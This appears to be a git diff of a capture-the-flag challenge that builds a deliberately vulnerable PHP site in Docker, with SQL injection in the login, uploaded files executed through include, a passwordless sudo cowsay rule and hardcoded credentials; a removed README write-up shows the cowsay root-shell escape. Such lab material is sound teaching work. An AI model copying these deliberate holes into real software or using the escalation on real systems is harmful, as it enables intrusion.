Working challenge ! #6
44
README.md
44
README.md
@ -15,55 +15,11 @@ cd docker
|
||||
sudo docker compose up --build
|
||||
```
|
||||
|
||||
### Building and running the docker image
|
||||
|
||||
_todo_
|
||||
```
|
||||
```
|
||||
|
||||
## Writeup
|
||||
|
||||
### Enum
|
||||
|
||||
Scan the IP using nmap for open ports
|
||||
|
||||
```
|
||||
nmap -p- ip
|
||||
```
|
||||
|
||||
The port 22 and 31337 are open.
|
||||
|
||||
We find that there is a web service on port 31337.
|
||||
|
||||
### Foothold
|
||||
|
||||
...
|
||||
|
||||
### Privesc
|
||||
|
||||
We can see that the user is allowed tu run `/usr/games/cowsay` as root using sudo without password.
|
||||
|
||||
```
|
||||
User l33t may run the following commands on srv1prod:
|
||||
(ALL) NOPASSWD: /usr/games/cowsay, /usr/bin/sudo -l
|
||||
```
|
||||
|
||||
Using gtfo bins, we identified that we can spawn a root shell thanks to this misconfiguration.
|
||||
|
||||
[https://gtfobins.github.io/gtfobins/cowsay/](https://gtfobins.github.io/gtfobins/cowsay/)
|
||||
|
||||
```
|
||||
TF=$(mktemp)
|
||||
echo 'exec "/bin/sh";' >$TF
|
||||
sudo cowsay -f $TF x
|
||||
# id
|
||||
uid=0(root) gid=0(root) groups=0(root)
|
||||
# cat /root/root.txt
|
||||
epita{th3-sup3r-c0ws4y}
|
||||
```
|
||||
|
||||
Solved !
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@ -1,9 +1,17 @@
|
||||
CREATE DATABASE IF NOT EXISTS app;
|
||||
USE app;
|
||||
|
||||
CREATE USER 'ctf'@'%' IDENTIFIED WITH mysql_native_password BY '39gknzLD';
|
||||
GRANT ALL PRIVILEGES ON app.* TO 'ctf'@'%';
|
||||
FLUSH PRIVILEGES;
|
||||
|
||||
CREATE TABLE users
|
||||
(
|
||||
user_id int PRIMARY KEY,
|
||||
username varchar(25) NOT NULL,
|
||||
pass varchar(80) NOT NULL
|
||||
user_id INT PRIMARY KEY AUTO_INCREMENT,
|
||||
username VARCHAR(25) NOT NULL,
|
||||
pass VARCHAR(80) NOT NULL
|
||||
);
|
||||
|
||||
-- cleartext pass ? but why of course
|
||||
INSERT INTO users (user_id,username,pass)
|
||||
VALUES (0,'admin','X82v7>P./~vC');
|
||||
1
config/codes.txt
Normal file
1
config/codes.txt
Normal file
@ -0,0 +1 @@
|
||||
ODQxOTU=
|
||||
@ -1 +1 @@
|
||||
l33t:h4x0r
|
||||
agent:1c0b76fce779f78f51be339c49445c49
|
||||
@ -14,21 +14,27 @@ RUN apt update && apt upgrade -y && \
|
||||
supervisor \
|
||||
openssh-server \
|
||||
sudo \
|
||||
php-mysql\
|
||||
cowsay \
|
||||
php \
|
||||
iputils-ping \
|
||||
&& rm -rf /var/lib/apt/lists/*
|
||||
|
||||
# the user players will need to have access as
|
||||
|
||||
|
||||
RUN useradd -m -s /bin/bash l33t \
|
||||
&& echo "l33t:h4x0r" | chpasswd
|
||||
RUN useradd -m -s /bin/bash agent \
|
||||
&& echo "agent:secure" | chpasswd
|
||||
|
||||
# apache2 config to change default 80 port to 31337
|
||||
# apache2 config to change default 80 port to 8080
|
||||
|
||||
RUN sed -i 's/^Listen 80/Listen 31337/' /etc/apache2/ports.conf
|
||||
RUN sed -i 's/^Listen 80/Listen 8080/' /etc/apache2/ports.conf
|
||||
|
||||
RUN sed -i 's/<VirtualHost \*:80>/<VirtualHost *:31337>/' /etc/apache2/sites-available/000-default.conf
|
||||
RUN sed -i 's/<VirtualHost \*:80>/<VirtualHost *:8080>/' /etc/apache2/sites-available/000-default.conf
|
||||
|
||||
# remove default apache2 index.html
|
||||
|
||||
RUN rm /var/www/html/index.html
|
||||
|
||||
# enable php module
|
||||
RUN ls /etc/apache2/mods-enabled/
|
||||
@ -38,33 +44,39 @@ RUN a2enmod php*
|
||||
|
||||
COPY ./www/ /var/www/html/
|
||||
|
||||
# give upload permissions to the www-data user
|
||||
|
||||
RUN chown -R www-data:www-data /var/www/html/confidential/uploads && chmod -R 755 /var/www/html/confidential/uploads
|
||||
|
||||
# give permissions to access the agent user to www-data
|
||||
|
||||
RUN usermod -aG agent www-data && chmod 750 /home/agent
|
||||
|
||||
RUN mkdir /var/run/sshd
|
||||
|
||||
# (suggestion)
|
||||
# for the privesc, cowsay allowed to be ran with sudo without password
|
||||
# https://gtfobins.github.io/gtfobins/cowsay/
|
||||
|
||||
RUN printf 'l33t ALL=(ALL) NOPASSWD: /usr/games/cowsay, /usr/bin/sudo -l\n' > /etc/sudoers.d/l33t && \
|
||||
chmod 0440 /etc/sudoers.d/l33t && \
|
||||
visudo -cf /etc/sudoers.d/l33t
|
||||
RUN printf 'agent ALL=(ALL) NOPASSWD: /usr/games/cowsay, /usr/bin/sudo -l\n' > /etc/sudoers.d/agent && \
|
||||
chmod 0440 /etc/sudoers.d/agent && \
|
||||
visudo -cf /etc/sudoers.d/agent
|
||||
|
||||
# copy the l33t user creds and set 777 suid
|
||||
# copy the agent user creds and set 777 suid
|
||||
|
||||
COPY ./config/creds.txt /home/l33t/
|
||||
RUN chmod 777 /home/l33t/creds.txt
|
||||
COPY ./config/creds.txt /home/agent/
|
||||
RUN chmod 777 /home/agent/creds.txt
|
||||
|
||||
# copy the flags and set suid
|
||||
# copy the secret codes and set suid
|
||||
|
||||
COPY ./flags/user.txt /home/l33t/
|
||||
RUN chown l33t:l33t /home/l33t/user.txt
|
||||
COPY ./config/codes.txt /root/
|
||||
|
||||
COPY ./flags/root.txt /root/
|
||||
RUN chown root:root /root/root.txt
|
||||
RUN chown root:root /root/codes.txt
|
||||
|
||||
# 22 port -> ssh, 31337 port (suggestion) -> vulnerable webserver players need to find using nmap port scans
|
||||
# 22 port -> ssh, 8080 port -> webserver
|
||||
|
||||
EXPOSE 22
|
||||
EXPOSE 31337
|
||||
EXPOSE 8080
|
||||
|
||||
# config of supervisord to have both apache2 and sshd services running
|
||||
|
||||
|
||||
@ -5,7 +5,7 @@ services:
|
||||
MYSQL_ROOT_PASSWORD: 39gknzLD
|
||||
MYSQL_DATABASE: app
|
||||
volumes:
|
||||
- $PWD/config/base.sql:/docker-entrypoint-initdb.d/base.sql:ro
|
||||
- ../config/base.sql:/docker-entrypoint-initdb.d/base.sql:ro
|
||||
ports:
|
||||
- "3306:3306"
|
||||
app:
|
||||
|
||||
3
fiveserver.config.js
Normal file
3
fiveserver.config.js
Normal file
@ -0,0 +1,3 @@
|
||||
module.exports = {
|
||||
php: "/usr/bin/php"
|
||||
}
|
||||
@ -1 +0,0 @@
|
||||
epita{th3-sup3r-c0ws4y}
|
||||
@ -1 +0,0 @@
|
||||
epita{th3-tUx-g4ll3ry-1snT-4s-s3cUr3-4ft3r-4ll}
|
||||
23
www/admin/loadnote.php
Normal file
23
www/admin/loadnote.php
Normal file
@ -0,0 +1,23 @@
|
||||
<?php
|
||||
session_start();
|
||||
$uploadsDir = __DIR__ . '/../confidential/uploads/';
|
||||
|
||||
if(empty($_SESSION['username'])) {
|
||||
exit('Access denied.');
|
||||
}
|
||||
|
||||
if(!empty($_POST['file'])) {
|
||||
$file = basename($_POST['file']); // prevent directory traversal
|
||||
$path = $uploadsDir . $file;
|
||||
|
||||
if(file_exists($path)) {
|
||||
ob_start();
|
||||
include $path; // PHP executes here
|
||||
echo ob_get_clean();
|
||||
} else {
|
||||
echo "File not found.";
|
||||
}
|
||||
} else {
|
||||
echo "No file specified.";
|
||||
}
|
||||
?>
|
||||
129
www/admin/securenotes.php
Normal file
129
www/admin/securenotes.php
Normal file
@ -0,0 +1,129 @@
|
||||
<?php
|
||||
ini_set('display_errors', 1);
|
||||
ini_set('display_startup_errors', 1);
|
||||
error_reporting(E_ALL);
|
||||
session_start();
|
||||
|
||||
if (empty($_SESSION['username'])) {
|
||||
header('Location: /index.php');
|
||||
exit();
|
||||
}
|
||||
|
||||
// Directory for notes
|
||||
$uploadsDir = __DIR__ . '/../confidential/uploads/';
|
||||
?>
|
||||
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>NFD | SECURE NOTES</title>
|
||||
<link rel="stylesheet" href="/static/css/stylesheet.css">
|
||||
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.8/dist/css/bootstrap.min.css" rel="stylesheet">
|
||||
<script src="https://code.jquery.com/jquery-3.7.0.min.js"></script>
|
||||
</head>
|
||||
<body>
|
||||
<?php include '../include/nav.php' ?>
|
||||
<div class="wrapper">
|
||||
|
||||
<form id="uploadForm" method="POST" enctype="multipart/form-data">
|
||||
<h1>Upload notes securely here from each operation.</h1>
|
||||
<i>Notes must be in .txt</i>
|
||||
<hr>
|
||||
<label for="file">Note</label>
|
||||
<input type="file" id="file" name="file">
|
||||
<br><br>
|
||||
<input type="submit" class="btn btn-primary" value="Upload!">
|
||||
</form>
|
||||
|
||||
<!-- Status message -->
|
||||
<div id="statusMessage" class="mt-2"></div>
|
||||
|
||||
<hr>
|
||||
|
||||
<!-- Notes container -->
|
||||
<div class="note-listing d-flex flex-wrap gap-3 justify-content-center" id="notesContainer">
|
||||
<?php
|
||||
// Render all notes
|
||||
foreach (new DirectoryIterator($uploadsDir) as $file) {
|
||||
if($file->isDot() || $file->isDir()) continue;
|
||||
$fileName = $file->getFilename();
|
||||
if (!preg_match('/\.(txt|php)$/i', $fileName)) continue;
|
||||
?>
|
||||
<div class="note-card text-center p-3" style="cursor:pointer;"
|
||||
data-bs-toggle="modal"
|
||||
data-bs-target="#noteModal"
|
||||
data-filename="<?= htmlspecialchars($fileName) ?>">
|
||||
<img src="/static/img/note-icon.png" alt="Note Icon" class="note-icon mb-2">
|
||||
<div class="note-title"><?= htmlspecialchars($fileName) ?></div>
|
||||
</div>
|
||||
<?php } ?>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
|
||||
<!-- Modal -->
|
||||
<div class="modal fade" id="noteModal" tabindex="-1" aria-hidden="true">
|
||||
<div class="modal-dialog modal-dialog-centered modal-lg">
|
||||
<div class="modal-content bg-dark text-white">
|
||||
<div class="modal-header">
|
||||
<h5 class="modal-title" id="noteModalLabel"></h5>
|
||||
<button type="button" class="btn-close btn-close-white" data-bs-dismiss="modal"></button>
|
||||
</div>
|
||||
<div class="modal-body" id="noteModalBody">Loading...</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.8/dist/js/bootstrap.bundle.min.js"></script>
|
||||
|
||||
<script>
|
||||
// Execute PHP on modal open
|
||||
$('#noteModal').on('show.bs.modal', function (event) {
|
||||
let button = $(event.relatedTarget);
|
||||
let fileName = button.data('filename');
|
||||
let modal = $(this);
|
||||
|
||||
modal.find('.modal-title').text(fileName);
|
||||
modal.find('#noteModalBody').text('Loading...');
|
||||
|
||||
$.post('/admin/loadnote.php', { file: fileName }, function(response){
|
||||
modal.find('#noteModalBody').html(response);
|
||||
});
|
||||
});
|
||||
|
||||
// AJAX upload form
|
||||
$('#uploadForm').submit(function(e) {
|
||||
e.preventDefault();
|
||||
let formData = new FormData(this);
|
||||
|
||||
$.ajax({
|
||||
url: '/admin/uploadnote.php',
|
||||
type: 'POST',
|
||||
data: formData,
|
||||
contentType: false,
|
||||
processData: false,
|
||||
success: function(response) {
|
||||
$('#statusMessage').html(response);
|
||||
|
||||
// Reload notes listing
|
||||
$.ajax({
|
||||
url: '/admin/securenotes.php',
|
||||
type: 'GET',
|
||||
dataType: 'html',
|
||||
success: function(data) {
|
||||
// Extract only the notes container HTML
|
||||
let notesHtml = $(data).find('#notesContainer').html();
|
||||
$('#notesContainer').html(notesHtml);
|
||||
}
|
||||
});
|
||||
},
|
||||
error: function() {
|
||||
$('#statusMessage').html("<div class='text-danger'>Upload failed.</div>");
|
||||
}
|
||||
});
|
||||
});
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
28
www/admin/uploadnote.php
Normal file
28
www/admin/uploadnote.php
Normal file
@ -0,0 +1,28 @@
|
||||
<?php
|
||||
session_start();
|
||||
$destdir = __DIR__ . '/../confidential/uploads/';
|
||||
$status = '';
|
||||
|
||||
if (empty($_SESSION['username'])) exit('Access denied.');
|
||||
|
||||
if (!empty($_FILES['file'])) {
|
||||
$tmpName = $_FILES['file']['tmp_name'];
|
||||
$fileName = basename($_FILES['file']['name']);
|
||||
|
||||
if (preg_match('/\.(txt)$/i', $fileName)) {
|
||||
if (is_uploaded_file($tmpName)) {
|
||||
if (move_uploaded_file($tmpName, $destdir . $fileName)) {
|
||||
$status = "<div class='text-success'>File uploaded!</div>";
|
||||
} else {
|
||||
$status = "<div class='text-danger'>An error occurred.</div>";
|
||||
}
|
||||
} else {
|
||||
$status = "<div class='text-danger'>An error occurred.</div>";
|
||||
}
|
||||
} else {
|
||||
$status = "<div class='text-danger'>Invalid file type!</div>";
|
||||
}
|
||||
}
|
||||
|
||||
echo $status;
|
||||
?>
|
||||
1
www/confidential/uploads/OperationAlpha.txt
Normal file
1
www/confidential/uploads/OperationAlpha.txt
Normal file
@ -0,0 +1 @@
|
||||
foobar
|
||||
1
www/confidential/uploads/OperationBravo.txt
Normal file
1
www/confidential/uploads/OperationBravo.txt
Normal file
@ -0,0 +1 @@
|
||||
foobar
|
||||
1
www/confidential/uploads/OperationTourniquet.txt
Normal file
1
www/confidential/uploads/OperationTourniquet.txt
Normal file
@ -0,0 +1 @@
|
||||
foobar
|
||||
49
www/gallery.php
Normal file
49
www/gallery.php
Normal file
@ -0,0 +1,49 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<?php
|
||||
session_start();
|
||||
?>
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>Tux gallery !</title>
|
||||
<link rel="stylesheet" href="static/css/stylesheet.css">
|
||||
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.8/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-sRIl4kxILFvY47J16cr9ZwB07vP4J8+LH7qKQnuqkuIAvNWLzeN8tE5YBujZqJLB" crossorigin="anonymous">
|
||||
</head>
|
||||
<body>
|
||||
<?php include 'include/nav.php'?>
|
||||
|
||||
<div class="wrapper">
|
||||
<section class="info-part">
|
||||
<h1>Tux gallery</h1>
|
||||
<p>Tux is awesome ! So I made this extremely secure gallery app.</p>
|
||||
<?php if (empty($_SESSION['username'])): ?>
|
||||
You can also add tux pictures to the gallery, first <a href="login.php">login</a> and then you should be able to upload a new image of tux.
|
||||
<?php else: ?>
|
||||
First navigate to the <a href="admin/upload.php">upload.php</a> page and upload your tux image from there!
|
||||
<?php endif; ?>
|
||||
</section>
|
||||
<hr>
|
||||
<section class="gallery-part">
|
||||
<div class="gallery">
|
||||
<?php
|
||||
foreach (new DirectoryIterator('static/img/gallery') as $file) {
|
||||
if($file->isDot()) continue;
|
||||
print '<img class="tux-img" src="/static/img/gallery/'. $file->getFilename() . '" onerror="this.onerror=null;this.src=`/static/img/fallback.png`;" data-original="/static/img/gallery/'. $file->getFilename() .'">'; // to do, is there an 'fstring' like for php ? just like in python
|
||||
} // xss ? i call it a feature
|
||||
?>
|
||||
</div>
|
||||
</section>
|
||||
</div>
|
||||
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.8/dist/js/bootstrap.bundle.min.js" integrity="sha384-FKyoEForCGlyvwx9Hj09JcYn3nv7wiPVlz7YYwJrWVcXK/BmnVDxM+D2scQbITxI" crossorigin="anonymous"></script>
|
||||
<script>
|
||||
window.addEventListener("load", () => {
|
||||
Array.from(document.getElementsByClassName("tux-img")).forEach(img => {
|
||||
img.addEventListener('click', function() {
|
||||
window.open(img.dataset.original);
|
||||
});
|
||||
});
|
||||
});
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
@ -1,13 +1,18 @@
|
||||
<?php
|
||||
$username = $_SESSION['username'] ?? null;
|
||||
?>
|
||||
<nav class="navbar navbar-expand-lg navbar-dark bg-dark">
|
||||
<a class="navbar-brand" href="/index.php">
|
||||
<img alt="logo" class="logo" src="/static/img/logo.gif" style="height:28px; margin-right:8px;">
|
||||
National Defense Force
|
||||
</a>
|
||||
|
||||
echo "<nav class='navbar navbar-expand-lg navbar-light bg-light'>
|
||||
<a class='navbar-brand' href='index.php'><img alt='logo' class='logo' src='static/img/logo.jpg'>Tux Gallery </a>
|
||||
|
||||
<div class='collapse navbar-collapse' id='navbarSupportedContent'>
|
||||
<ul class='navbar-nav mr-auto'>
|
||||
<li class='nav-item'>
|
||||
<a class='nav-link' href='login.php'>Login</a>
|
||||
</li>
|
||||
</div>
|
||||
</nav>";
|
||||
?>
|
||||
<div class="collapse navbar-collapse" id="navbarSupportedContent">
|
||||
<ul class="navbar-nav mr-auto">
|
||||
<?php if ($username): ?>
|
||||
<li class="nav-item"><a class="nav-link" href="/admin/upload.php">Dashboard</a></li>
|
||||
<li class="nav-item"><a class="nav-link" href="/logout.php">Disconnect</a></li>
|
||||
<?php endif; ?>
|
||||
</ul>
|
||||
</div>
|
||||
</nav>
|
||||
|
||||
@ -1,40 +1,63 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<?php
|
||||
ini_set('display_errors', 1);
|
||||
ini_set('display_startup_errors', 1);
|
||||
error_reporting(E_ALL);
|
||||
session_start();
|
||||
if (!empty($_SESSION['username'])) {
|
||||
header('Location: /admin/securenotes.php');
|
||||
exit();
|
||||
}
|
||||
|
||||
?>
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>Tux gallery !</title>
|
||||
<link rel="stylesheet" href="static/css/stylesheet.css">
|
||||
<title>NDF | LOGIN</title>
|
||||
<link rel="stylesheet" href="/static/css/stylesheet.css">
|
||||
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.8/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-sRIl4kxILFvY47J16cr9ZwB07vP4J8+LH7qKQnuqkuIAvNWLzeN8tE5YBujZqJLB" crossorigin="anonymous">
|
||||
</head>
|
||||
<body>
|
||||
<?php include 'include/nav.php'?>
|
||||
|
||||
<div class="wrapper">
|
||||
<section class="info-part">
|
||||
<h1>Tux gallery</h1>
|
||||
<p>Tux is awesome ! So I made this extremely secure gallery app.</p>
|
||||
<p>You can also add tux pictures to the gallery, first <a href="login.php">login</a> and then you should be able to upload a new image of tux.</p>
|
||||
</section>
|
||||
<section class="gallery-part">
|
||||
<div class="gallery">
|
||||
<?php
|
||||
foreach (new DirectoryIterator('static/img/gallery') as $file) {
|
||||
if($file->isDot()) continue;
|
||||
print '<img class="tux-img" src="static/img/gallery/'. $file->getFilename() . '">'; // to do, is there an 'fstring' like for php ? just like in python
|
||||
} // xss ? i call it a feature
|
||||
<div class="header-bar"></div>
|
||||
<form id="loginForm" method="POST" action="index.php">
|
||||
<h1>NDF ACCESS</h1>
|
||||
<label for="username">Username</label>
|
||||
<input type="text" id="username" name="username" required>
|
||||
|
||||
<label for="password">Password</label>
|
||||
<input type="password" id="password" name="password" required>
|
||||
|
||||
<input type="submit" value="Login">
|
||||
<?php
|
||||
if (!empty($_POST)) {
|
||||
$name = $_POST['username'];
|
||||
$password = $_POST['password'];
|
||||
if (empty($name)) {
|
||||
echo '<div class="error-message">Username is empty.</div>';
|
||||
} else {
|
||||
$servername = "db";
|
||||
$username = "ctf";
|
||||
$password_db = "39gknzLD";
|
||||
$dbname = "app";
|
||||
$conn = new mysqli($servername, $username, $password_db, $dbname);
|
||||
$sql = "SELECT username, pass FROM users WHERE username='$name' AND pass='$password'";
|
||||
$result = $conn->query($sql);
|
||||
if ($result->num_rows > 0) {
|
||||
session_regenerate_id(true);
|
||||
$_SESSION['username'] = $name;
|
||||
header('Location: /admin/securenotes.php');
|
||||
exit();
|
||||
} else {
|
||||
echo '<div class="error-message">Wrong username or password!</div>';
|
||||
}
|
||||
}
|
||||
}
|
||||
?>
|
||||
</div>
|
||||
</section>
|
||||
</form>
|
||||
</div>
|
||||
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.8/dist/js/bootstrap.bundle.min.js" integrity="sha384-FKyoEForCGlyvwx9Hj09JcYn3nv7wiPVlz7YYwJrWVcXK/BmnVDxM+D2scQbITxI" crossorigin="anonymous"></script>
|
||||
<script>
|
||||
window.addEventListener("load", (event) => {
|
||||
console.log(document.getElementsByClassName("tux-img"))
|
||||
Array.from(document.getElementsByClassName("tux-img")).forEach(img => {
|
||||
img.addEventListener('click',function(){window.open(img.src)})
|
||||
});
|
||||
});
|
||||
</script>
|
||||
|
||||
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.8/dist/js/bootstrap.bundle.min.js" integrity="sha384-FKyoEForCGlyvwx9Hj09JcYn3nv7wiPVlz7YYwJrWVcXK/BmnVDxM+D2scQbITxI" crossorigin="anonymous"></script>
|
||||
</body>
|
||||
</html>
|
||||
</html>
|
||||
|
||||
@ -1,52 +0,0 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>Tux gallery !</title>
|
||||
<link rel="stylesheet" href="static/css/stylesheet.css">
|
||||
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.8/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-sRIl4kxILFvY47J16cr9ZwB07vP4J8+LH7qKQnuqkuIAvNWLzeN8tE5YBujZqJLB" crossorigin="anonymous">
|
||||
</head>
|
||||
<body>
|
||||
<?php include 'include/nav.php'?>
|
||||
<div class="wrapper">
|
||||
<form id="loginForm" method="POST" action="login.php">
|
||||
<h1>Login</h1>
|
||||
<p>Note : The register feature is not implemented yet !</p>
|
||||
<label for="username">Username</label>
|
||||
<input type="text" id="username" name="username">
|
||||
<label for="password">Password</label>
|
||||
<input type="password" id="password" name="password">
|
||||
<input type="button" class="btn btn-primary" value="Login">
|
||||
</form>
|
||||
</div>
|
||||
<?php
|
||||
// to do :
|
||||
// connect to mysql db
|
||||
// add sqli vulnerable login functionnality
|
||||
// ??
|
||||
// profit
|
||||
$servername = "db";
|
||||
$username = "root";
|
||||
$password = "39gknzLD";
|
||||
|
||||
$conn = new mysqli($servername, $username, $password);
|
||||
|
||||
if (! empty($_POST)) {
|
||||
$name = $_POST['username'];
|
||||
$password = $_POST['password'];
|
||||
if (empty($name)) {
|
||||
echo "Username is empty.";
|
||||
} else {
|
||||
$sql = 'SELECT username,pass FROM users WHERE username=' . $name . ' AND pass=' . $password; // sqli here
|
||||
$result = $conn->query($sql);
|
||||
if ($result->num_rows > 0) {
|
||||
echo "CONNECTED" // do redirect to upload page
|
||||
} else {
|
||||
echo "Wrong username or password !";
|
||||
}
|
||||
}
|
||||
}
|
||||
?>
|
||||
</body>
|
||||
</html>
|
||||
14
www/logout.php
Normal file
14
www/logout.php
Normal file
@ -0,0 +1,14 @@
|
||||
<?php
|
||||
|
||||
session_start();
|
||||
$_SESSION = [];
|
||||
if (ini_get("session.use_cookies")) {
|
||||
$params = session_get_cookie_params();
|
||||
setcookie(session_name(), '', time() - 42000,
|
||||
$params["path"], $params["domain"],
|
||||
$params["secure"], $params["httponly"]
|
||||
);
|
||||
}
|
||||
session_destroy();
|
||||
header('Location: index.php');
|
||||
exit();
|
||||
@ -4,42 +4,138 @@
|
||||
height:50px;
|
||||
width:auto;
|
||||
}
|
||||
.wrapper {
|
||||
display:block;
|
||||
margin-left:15%;
|
||||
margin-right:15%;
|
||||
}
|
||||
|
||||
.info-part{
|
||||
margin-left:15%;
|
||||
margin-right:15%;
|
||||
}
|
||||
|
||||
.gallery img{
|
||||
max-width:250px;
|
||||
max-height:250px;
|
||||
}
|
||||
.gallery{
|
||||
padding:10px;
|
||||
background-color:black;
|
||||
display:grid;
|
||||
grid-template-columns: auto auto auto auto;
|
||||
}
|
||||
|
||||
#loginForm{
|
||||
display:grid;
|
||||
margin-right:30%;
|
||||
margin-left:30%;
|
||||
gap:5px;
|
||||
}
|
||||
body {
|
||||
margin: 0;
|
||||
height: 100vh;
|
||||
font-family: 'Arial', sans-serif;
|
||||
color: #f1f1f1;
|
||||
|
||||
.tux-img{
|
||||
cursor:pointer;
|
||||
transition: all 0.1s ease-in-out;
|
||||
border:2px solid white;
|
||||
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
.tux-img:hover{
|
||||
border:2px solid rgb(255, 196, 0);
|
||||
}
|
||||
body::before {
|
||||
content: "";
|
||||
position: absolute;
|
||||
top: 0; left: 0;
|
||||
width: 100%; height: 100%;
|
||||
background: url('../../static/img/background.gif') center center / cover no-repeat;
|
||||
z-index: -2;
|
||||
}
|
||||
|
||||
body::after {
|
||||
content: "";
|
||||
position: absolute;
|
||||
top: 0; left: 0;
|
||||
width: 100%; height: 100%;
|
||||
background-color: rgba(0, 0, 0, 0.85);
|
||||
z-index: -1;
|
||||
}
|
||||
|
||||
.wrapper {
|
||||
margin-left:auto;
|
||||
margin-right:auto;
|
||||
margin-top:10%;
|
||||
margin-bottom:auto;
|
||||
background-color: #1a1a1a;
|
||||
padding: 30px;
|
||||
color:white;
|
||||
border-radius: 8px;
|
||||
box-shadow: 0 0 20px rgba(0,0,0,0.8);
|
||||
width: 800px;
|
||||
}
|
||||
|
||||
h1 {
|
||||
text-align: center;
|
||||
margin-bottom: 30px;
|
||||
font-family: 'Courier New', Courier, monospace;
|
||||
letter-spacing: 2px;
|
||||
}
|
||||
|
||||
label {
|
||||
font-weight: bold;
|
||||
margin-top: 15px;
|
||||
}
|
||||
|
||||
input[type="text"], input[type="password"] {
|
||||
width: 100%;
|
||||
padding: 10px;
|
||||
margin-top: 5px;
|
||||
background-color: #0f0f0f;
|
||||
border: 1px solid #333;
|
||||
border-radius: 4px;
|
||||
color: #f1f1f1;
|
||||
}
|
||||
|
||||
input[type="submit"] {
|
||||
width: 100%;
|
||||
padding: 10px;
|
||||
margin-top: 20px;
|
||||
background-color: #d32f2f;
|
||||
border: none;
|
||||
border-radius: 4px;
|
||||
color: #fff;
|
||||
font-weight: bold;
|
||||
cursor: pointer;
|
||||
transition: background-color 0.3s;
|
||||
}
|
||||
|
||||
input[type="submit"]:hover {
|
||||
background-color: #a12a2a;
|
||||
}
|
||||
|
||||
.header-bar {
|
||||
width: 100%;
|
||||
height: 5px;
|
||||
background-color: #d32f2f;
|
||||
margin-bottom: 20px;
|
||||
border-radius: 2px;
|
||||
}
|
||||
|
||||
.error-message {
|
||||
color: #ff4d4d;
|
||||
margin-top: 10px;
|
||||
font-size: 0.9em;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.note-listing {
|
||||
margin-top: 20px;
|
||||
}
|
||||
|
||||
.note-card {
|
||||
width: 120px;
|
||||
background-color: #2a2a2a;
|
||||
border-radius: 8px;
|
||||
box-shadow: 0 0 10px rgba(0,0,0,0.6);
|
||||
transition: transform 0.2s, box-shadow 0.2s;
|
||||
}
|
||||
|
||||
.note-card:hover {
|
||||
transform: translateY(-5px);
|
||||
box-shadow: 0 0 15px rgba(211, 47, 47, 0.8);
|
||||
}
|
||||
|
||||
.note-icon {
|
||||
width: 50px;
|
||||
height: 50px;
|
||||
}
|
||||
|
||||
.note-title {
|
||||
font-size: 0.9rem;
|
||||
margin-top: 5px;
|
||||
word-break: break-word;
|
||||
}
|
||||
|
||||
|
||||
|
||||
BIN
www/static/img/background.gif
Normal file
BIN
www/static/img/background.gif
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 1.8 MiB |
BIN
www/static/img/fallback.png
Normal file
BIN
www/static/img/fallback.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 28 KiB |
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
www/static/img/logo.gif
Normal file
BIN
www/static/img/logo.gif
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 635 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 30 KiB |
BIN
www/static/img/note-icon.png
Normal file
BIN
www/static/img/note-icon.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 3.4 KiB |
Loading…
x
Reference in New Issue
Block a user